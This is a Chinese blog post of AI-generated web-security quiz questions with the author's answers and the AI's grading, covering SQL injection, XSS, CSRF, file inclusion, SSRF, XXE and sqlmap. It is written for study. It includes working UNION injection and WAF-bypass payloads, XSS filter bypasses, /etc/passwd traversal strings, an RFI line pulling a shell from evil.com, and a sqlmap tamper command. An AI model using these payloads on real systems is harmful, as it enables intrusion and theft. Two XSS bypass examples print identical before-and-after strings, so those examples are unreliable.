2026.2.27|记一次AI模拟出题经历
本文总结了16道网络安全常见漏洞相关的题目及答案,涉及SQL注入、XSS、CSRF、文件上传、文件包含等漏洞类型。主要内容包括:SQL注入的基本概念、常用函数和绕过方法;XSS的分类及防御绕过;CSRF的原理和防御措施;文件上传漏洞的四个必要条件;文件包含漏洞的分类和典型Payload;以及SSRF、XXE、逻辑漏洞等常见漏洞类型的定义和利用方式。文章通过问答形式,详细解析了各种漏洞的核心原理、利
第一题(SQL 注入・基础概念)
问题:请用一句话解释 什么是 SQL 注入漏洞?
答:sql注入漏洞是开发者在开发时未对用户输入的sql语句进行过滤,而产生的漏洞。sql注入分为:联合注入,盲注,报错注入以及宽字节注入
批改结果
回答正确 ✅
- 核心原因:对用户可控输入过滤不足,导致恶意 SQL 被执行,理解准确。
- 分类:联合查询注入、报错注入、盲注、宽字节注入,列举完整。
第二题(SQL 注入・基础函数)
问题:请写出下面两个 SQL 注入常用语句的作用:
order by 3union select 1,2,3
答:1、order by是判断有多少列,例如:1、order by 3 如果能够回显就说明有3列 2、union select 1,2,3 是联合查询,查询1,2,3列。其中1,2,3都可以修改成想要获取的数据库名、用户名等
批改结果
回答基本正确 ✅(补充细节)
- 第一句
order by 3:核心作用判断列数的理解完全正确!补充细节:若执行order by 3无报错,说明至少有 3 列;若报错(如 “列数超出范围”),则说明列数少于 3,是通过 “试错” 确定准确列数的关键步骤。 - 第二句
union select 1,2,3:核心逻辑(联合查询 + 替换数字为目标数据)正确!补充前提:union要求前后查询的列数必须一致,所以先通过order by确定列数后,才能用这句找到回显位(数字 1/2/3 中能在页面显示的位置),后续再替换成database()、user()等函数获取数据。
第三题(SQL 注入・绕过 WAF)
问题:当 WAF 会将 SQL 关键字(如union)直接替换为空时,攻击者常用 “双写绕过”,请写出针对 union select 1,2 的双写绕过 payload,并解释原理。
答:根据问题可以知道把union替换成了空格,要求是用双写绕过写出payload payload:ununionion select 1,2 原理是:在双写过程中,ununionion中间的union被过滤为空,剩下的un(union)ion变成union再被解析
批改结果
回答正确 ✅(原理描述优化)
- Payload:
ununionion select 1,2完全正确! - 原理:你的核心逻辑没问题,优化更精准的描述:WAF 检测到
union关键字后会将其替换为空,双写ununionion中,中间的union被 WAF 过滤删除后,剩余的un+ion拼接成完整的union,最终服务器解析的仍是union select 1,2,从而绕过 WAF 检测。
第四题(SQL 注入・实战利用)
问题:假设你已通过order by 4确定目标查询语句有 4 列,且回显位是第 2、3 列,请写出获取当前数据库名称的完整 SQL 注入 payload(以 MySQL 为例),并标注核心函数的作用。
答:根据题目可知我们需要回答的payload为一下 payload : union select 1,database(),database(),4 union select 是联合查询的意思,database()是获取数据库名,1,4是第一列和第四列
批改结果
回答正确 ✅(补充细节更完整)
- Payload 核心:
union select 1,database(),database(),4完全符合要求! - 补充细节:实际注入时需注意闭合原有 SQL 语句(比如结尾加
#或--+注释掉后续内容),完整 Payload 示例:' union select 1,database(),database(),4 #(假设原语句是单引号闭合)。 - 函数解释:
union select:联合查询,将攻击者构造的查询结果与原查询结果合并返回;database():MySQL 内置函数,作用是返回当前连接的数据库名称,精准对应需求;1/4:占位符,填充非回显列,保证与原查询列数一致。
第五题(XSS・基础概念)
问题:请分别简述反射型 XSS、存储型 XSS、DOM 型 XSS 的核心区别(从 “存储位置” 和 “触发方式” 两个维度)。
答:反射型xss:不进行存储,触发方式在url中触发,用完即毁 存储型xss:存储在数据库中,触发方式在url中触发,下次使用时会继续触发 dom型xss:
批改结果
回答部分正确 ⚠️(补充 DOM 型 + 修正细节)先修正你已有部分的细节,再补充 DOM 型的核心特征:
1. 反射型 XSS(你回答的核心逻辑对,细节优化)
- 存储位置:不存储在服务器(仅存在于单次请求 / 响应中);
- 触发方式:攻击者构造含恶意 JS 的 URL,诱导用户点击,服务器将恶意 JS “反射” 回浏览器执行(用完即毁,仅单次有效)。
2. 存储型 XSS(你回答的触发方式需修正)
- 存储位置:永久存储在服务器(如数据库、文件);
- 触发方式:不是 “URL 触发”,而是用户访问包含恶意 JS 的页面(如论坛帖子、评论)时,服务器从数据库读取恶意 JS 并返回,所有访问该页面的用户都会触发(持续性攻击)。
3. DOM 型 XSS(你未完整回答,补充核心)
- 存储位置:无服务器存储(恶意 JS 仅在客户端 DOM 层面操作);
- 触发方式:浏览器解析页面时,通过 JS 修改 DOM(如
document.write、location.href),将用户输入的恶意代码注入到页面中执行(全程不经过服务器解析,仅客户端触发)。
第六题(XSS・防御与绕过)
问题:列举 3 种 XSS 的常见绕过方式,并分别说明每种方式的适用场景(比如 “大小写绕过” 针对什么防护逻辑)。
答:常见的绕过方式: 1、大小写绕过:程序使用了str_replace替换函数。 2、伪协议绕过:将on屏蔽,在a标签的href属性中可以使用伪协议来完成JavaScript操作,一般用于dom型 3、双写绕过:程序员使用了str_ireplace或str_replace替换函数。
批改结果
回答部分正确 ⚠️(修正场景 + 补充细节)你的核心方向没问题,但 “适用场景” 描述不够精准,我帮你修正并补充完整:
1. 大小写绕过(修正适用场景)
- 绕过方式示例:
JaVaScRiPt:alert(1)、<ScRiPt>alert(1)</ScRiPt>; - 适用场景:防护逻辑仅过滤小写关键字(如只替换
script、javascript,未做大小写不敏感匹配),比如开发者用str_replace("script", "", $input)(而非preg_replace("/script/i", "", $input)),大小写混合可绕过。
2. 伪协议绕过(修正适用场景 + 补充细节)
- 绕过方式示例:
<a href="javascript:alert(1)">点击</a>替换为<a href="javascript:alert(1)">点击</a>或利用data:伪协议; - 适用场景:不是 “仅 DOM 型”,核心是防护逻辑屏蔽了
onclick/onload等事件属性,但未过滤<a>标签的href属性,攻击者通过伪协议(javascript:/data:)在href中执行 JS。
3. 双写绕过(修正适用场景)
- 绕过方式示例:
<scrscriptipt>alert(1)</scrscriptipt>; - 适用场景:防护逻辑将关键字(如
script)直接替换为空(如str_replace("script", "", $input)),双写后中间的script被替换为空,剩余部分拼接成完整的script标签,从而绕过过滤。
补充(可选):实体标签绕过(常见且易理解)
- 绕过方式示例:
<script>alert(1)</script>替换为<script>alert(1)</script>(s是s的 HTML 实体编码); - 适用场景:防护逻辑仅过滤明文关键字,未对 HTML 实体编码做解码处理,浏览器解析时会自动将实体编码转成原字符,执行恶意 JS。
第七题(CSRF・核心原理)
问题:请用一句话说明 CSRF 漏洞的核心原理,并指出它与 XSS 最核心的区别。
答:SCRF漏洞的核心原理是CSRF 攻击是一种挟持用户在当前已登录的浏览器上发送恶意请求的攻击方法。 相对于XSS利用用户对指定网站的信任,CSRF则是利用网站对用户网页浏览器的信任
批改结果
回答正确 ✅
- 核心原理:挟持已登录用户浏览器,发送恶意请求,描述非常准确。
- 与 XSS 核心区别:XSS 是利用用户对网站的信任,CSRF 是利用网站对用户浏览器的信任,完全抓住了本质。
第八题(CSRF・防御)
问题:请写出 3 种最常用、最有效的 CSRF 防御方法。
答:敏感接口二次校验,跨域审查;适用token
批改结果
回答正确 ✅
- 三种常用防御:二次校验、跨域校验(Referer)、Token 校验,全都答对了。
第九题(文件上传漏洞)
问题:请说出文件上传漏洞的4 个必要条件(缺一个一般就很难利用成功)。
答:1、文件能够通过前后端过滤;文件内容不会被改变;存储位置可控;具有访问和执行权限
批改结果
回答完全正确 ✅4 个必要条件一字不差、逻辑完整:
- 文件能通过前后端过滤
- 文件内容不被改变
- 存储位置可控
- 具有访问和执行权限
第十题(文件包含漏洞)
问题:请区分:本地文件包含(LFI) 和 远程文件包含(RFI) 的核心区别,并各举一个典型 Payload。
答:本地包含只能在本地加载:payload: allow_url_fopen=On 远程包含能支持远程加载: payload: allow_url_include=On
批改结果
回答不准确 ⚠️ 概念混淆了
你把 配置项 和 漏洞本身 弄混了,我帮你理清:
正确答案
- 本地文件包含 LFI(Local File Inclusion)
- 含义:只能包含服务器本地已存在的文件
- 典型 Payload:
?file=../../etc/passwd?file=../../phpinfo.php
- 远程文件包含 RFI(Remote File Inclusion)
- 含义:可以包含远程服务器上的文件
- 典型 Payload:
?file=http://evil.com/shell.txt
关键区别
- LFI:读本地文件
- RFI:读远程文件
第十一题(SSRF 漏洞)
问题:请用一句话解释:什么是 SSRF 漏洞?
答:SSRF是服务器请求伪造。利用的是服务器对用户的信任
批改结果
回答核心对,但不够完整 ⚠️你抓住了关键:服务器请求伪造,但定义少了最核心一句。
标准完整答案
SSRF(Server-Side Request Forgery)服务器端请求伪造:攻击者构造请求,由服务器代为发起请求,从而访问到攻击者原本无法访问的内网或其他资源。
第十二题(XXE 漏洞)
问题:XXE 漏洞的中文全称是什么?它主要是利用什么解析器的问题造成的?
答:XXE漏洞中文全称为XML外部实体注入漏洞,主要利用的是XML文件的解释依赖libxml库
批改结果
回答正确 ✅
- 中文全称:XML 外部实体注入漏洞,准确。
- 成因:XML 解析依赖 libxml 库,且低版本(libxml2.9 以前)默认开启外部实体引用,完全正确。
第十三题(逻辑漏洞)
问题:请分别解释:水平越权 和 垂直越权 的区别。
答:水平越权只能横向越权到相同权限的用户 垂直越权是普通用户可以越权到超级管理员用户root
批改结果
回答正确 ✅
- 水平越权:同权限级别之间,越权访问其他用户数据(横向)。
- 垂直越权:低权限用户越权访问 / 操作高权限功能(纵向提权)。
第十四题(逻辑漏洞・常见类型)
问题:请至少说出 4 种常见的业务逻辑漏洞。
答:弱口令、支付漏洞、账号遍历、水平越权、垂直越权
批改结果
回答正确 ✅弱口令、支付漏洞、账号遍历、水平越权、垂直越权,都是非常典型的业务逻辑漏洞,完全符合要求。
第十五题(综合题・文件下载)
问题:任意文件下载 / 路径遍历漏洞,最经典的利用方式是什么?请写出一个读取 Linux 下 /etc/passwd 的典型 Payload。
答:最典型的利用方式是通过../到上一级目录.payload:../../../../../../etc/passwd
批改结果
回答正确 ✅
- 核心思路:利用
../进行目录穿越 / 路径遍历,完全正确。 - Payload:
../../../../../../etc/passwd是读取 Linux 敏感文件的经典写法,没问题。
第十六题(综合题・SQLMap 命令)
问题:请写出使用 sqlmap 进行以下操作的命令:
- 指定延时 3 秒
- 线程设为 5
- 使用脚本绕过 WAF(tamper 脚本随便写一个)
答:把这三个参数写在一条完整命令里。
sqlmap -u url --time-sec 3 --thread5 --tamper
批改结果
回答接近正确 ⚠️(参数格式 / 语法修正)你核心参数都对,但有 2 个小语法错误,修正后完整命令如下:
bash
运行
# 正确完整命令(以测试某URL为例)
sqlmap -u "http://目标网址/test.php?id=1" --time-sec 3 --threads 5 --tamper "space2comment.py"
错误点说明
--thread5→ 正确写法是--threads 5(参数名是--threads,且参数值和参数名之间要有空格);--tamper后必须指定具体的绕过脚本名(比如space2comment.py,作用是把空格替换成 /**/ 绕过空格过滤),不能只写--tamper。
更多推荐


所有评论(0)